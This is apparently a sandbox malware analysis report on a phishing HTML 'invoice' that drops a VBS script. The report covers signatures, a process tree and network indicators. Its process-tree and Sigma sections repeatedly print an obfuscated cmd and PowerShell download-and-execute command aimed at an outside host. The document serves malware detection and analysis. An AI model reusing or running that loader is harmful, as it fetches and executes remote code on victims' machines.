Edit tour

Windows Analysis Report
faktura_FV2025020660849.html

Overview

General Information

Sample name:	faktura_FV2025020660849.html (renamed file extension from htm_ to html)
Original sample name:	faktura_FV2025020660849.htm_
Analysis ID:	1637352
MD5:	467b6110a70e52f3bee6a6331cd809bd
SHA1:	9588dfe44777f409bc74eb61f452c8e8b8feae92
SHA256:	a4a49cc9e4542c0b845354a26f3ef4bf69065c120101d8179f512bf7507309d6
Infos:

Detection

Score:	96
Range:	0 - 100
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

AI detected suspicious Javascript

Detected javascript redirector / loader

Downloads suspicious files via Chrome

Found suspicious ZIP file

Obfuscated command line found

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Dosfuscation Activity

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5756 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2060,i,3895141347888249468,9556767451129423605,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

unarchiver.exe (PID: 6660 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\faktura_FV2025020660849.zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 6720 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg" "C:\Users\user\Downloads\faktura_FV2025020660849.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 6728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6792 cmdline: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 6860 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 6216 cmdline: "C:\Windows\System32\cmd.exe" /C "echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^^^|%{[char]($_/4)})-join'') ^^^| ^^^&($uNteWVUN) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5660 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^|%{[char]($_/4)})-join'') ^| ^&($uNteWVUN) " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 6980 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

chrome.exe (PID: 6268 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\faktura_FV2025020660849.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

svchost.exe (PID: 6808 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 54.39.128.117, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 6860, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6792, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , ProcessId: 6860, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6792, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , ProcessId: 6860, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6792, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , ProcessId: 6860, ProcessName: wscript.exe

Sigma detected: Potential Dosfuscation Activity

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C "echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^^^|%{[char]($_/4)})-join'') ^^^| ^^^&($uNteWVUN) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -", CommandLine: "C:\Windows\System32\cmd.exe" /C "echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^^^|%{[char]($_/4)})-join'') ^^^| ^^^&($uNteWVUN) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 54.39.128.117, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 6860, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6792, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\gqoox5ke.wxg\2025020665304.vbs" , ProcessId: 6860, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -, CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -, CommandLine|base64offset|contains: hv, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C "echo $($uNteWVUN = $('{7}{5}{6}' -f $('VJJLWexieN'.ToCharArray())); $((364,312,404,464,184,332,404,456,472,420,396,404,320,444,420,440,464,308,388,440,388,412,404,456,372,232,232,332,404,456,472,404,456,268,404,456,464,420,408,420,396,388,464,404,344,388,432,420,400,388,464,420,444,440,268,388,432,432,392,388,396,428,128,244,128,492,144,464,456,468,404,500,236,128,144,468,304,456,312,400,468,296,296,448,348,128,244,128,364,332,484,460,464,404,436,184,312,404,464,184,288,464,464,448,348,404,392,328,404,452,468,404,460,464,372,232,232,268,456,404,388,464,404,160,156,416,464,464,448,460,232,188,188,408,420,432,404,416,444,460,464,200,192,192,224,224,212,184,420,440,408,444,232,196,204,216,200,196,188,476,404,392,212,184,448,416,448,156,164,236,128,144,468,304,456,312,400,468,296,296,448,348,184,336,420,436,404,444,468,464,128,244,128,204,192,192,192,192,192,236,128,144,160,364,332,484,460,464,404,436,184,292,444,184,332,464,456,404,388,436,328,404,388,400,404,456,372,160,144,468,304,456,312,400,468,296,296,448,348,184,284,404,464,328,404,460,448,444,440,460,404,160,164,184,284,404,464,328,404,460,448,444,440,460,404,332,464,456,404,388,436,160,164,164,164,184,328,404,388,400,336,444,276,440,400,160,164,128,496,128,292,276,352)^^^|%{[char]($_/4)})-join'') ^^^| ^^^&($uNteWVUN) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6216, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -, ProcessId: 6980, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 628, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6808, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.1.d.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behavior, including the use of the `eval()` function to execute dynamic code. This allows for potential remote code execution, which poses a significant security risk. Additionally, the script appears to be heavily obfuscated, making it difficult to analyze and understand its true purpose. Based on these factors, the script is considered to be high-risk and should be treated with caution.

Detected javascript redirector / loader

Source: faktura_FV2025020660849.html

HTTP Parser: Low number of body elements: 0

Source: faktura_FV2025020660849.html

HTTP Parser: No favicon

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Child: C:\Windows\SysWOW64\wscript.exe
Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View	IP Address: 149.56.240.132 149.56.240.132
Source: Joe Sandbox View	IP Address: 54.39.128.117 54.39.128.117

Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 23.199.215.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.18.98.62
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.15
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /stats/0.php?4935987&@f16&@g1&@h1&@i1&@vhttps://histats.com/s_opened_TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzNC4wLjAuMCBTYWZhcmkvNTM3LjM2 HTTP/1.1Host: s4.histats.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4935988&@f16&@g1&@h1&@i1&@vhttps://histats.com/d_opened HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: s4.histats.com
Source: global traffic	DNS traffic detected: DNS query: filehost200885.info
Source: global traffic	DNS traffic detected: DNS query: _13621._https.filehost200885.info

Source: svchost.exe, 00000011.00000002.2834516229.00000132FF600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000011.00000002.2834795537.00000132FF6D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000011.00000002.2834974179.00000132FF71B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2833920102.00000132FE902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2834795537.00000132FF6F7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000003.1473287422.00000132FF4E2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2834795537.00000132FF6D3000.00000004.00000020.00020000.00000000.sdmp, edb.log.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adnnf2xkczyschn5rjlarpymlqwq_2025.3.12.0/
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.17.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000011.00000002.2834630104.00000132FF690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: svchost.exe, 00000011.00000002.2834630104.00000132FF690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80IO:ID:
Source: edb.log.17.dr, qmgr.db.17.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: qmgr.db.17.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000011.00000003.1207118522.00000132FF4E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.17.dr, qmgr.db.17.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: wscript.exe, 0000000B.00000002.2832180699.00000000038BA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.0000000003416000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2833317335.00000000059B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_opened
Source: wscript.exe, 0000000B.00000002.2832972295.000000000585C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_opened8%
Source: wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_opened=
Source: wscript.exe, 0000000B.00000002.2832972295.000000000585C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_opened=%
Source: wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_openedm
Source: wscript.exe, 0000000B.00000002.2832972295.000000000585C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: qmgr.db.17.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: wscript.exe, 0000000B.00000002.2831181995.00000000033C1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.1164820664.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.%
Source: wscript.exe, 0000000B.00000002.2831181995.00000000033AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/
Source: wscript.exe, 0000000B.00000002.2831181995.00000000033AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/c
Source: wscript.exe, 0000000B.00000002.2831181995.00000000033AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/stas
Source: wscript.exe, 0000000B.00000003.1164820664.00000000033C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/stat8%
Source: wscript.exe, 0000000B.00000002.2832180699.00000000038BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/stats
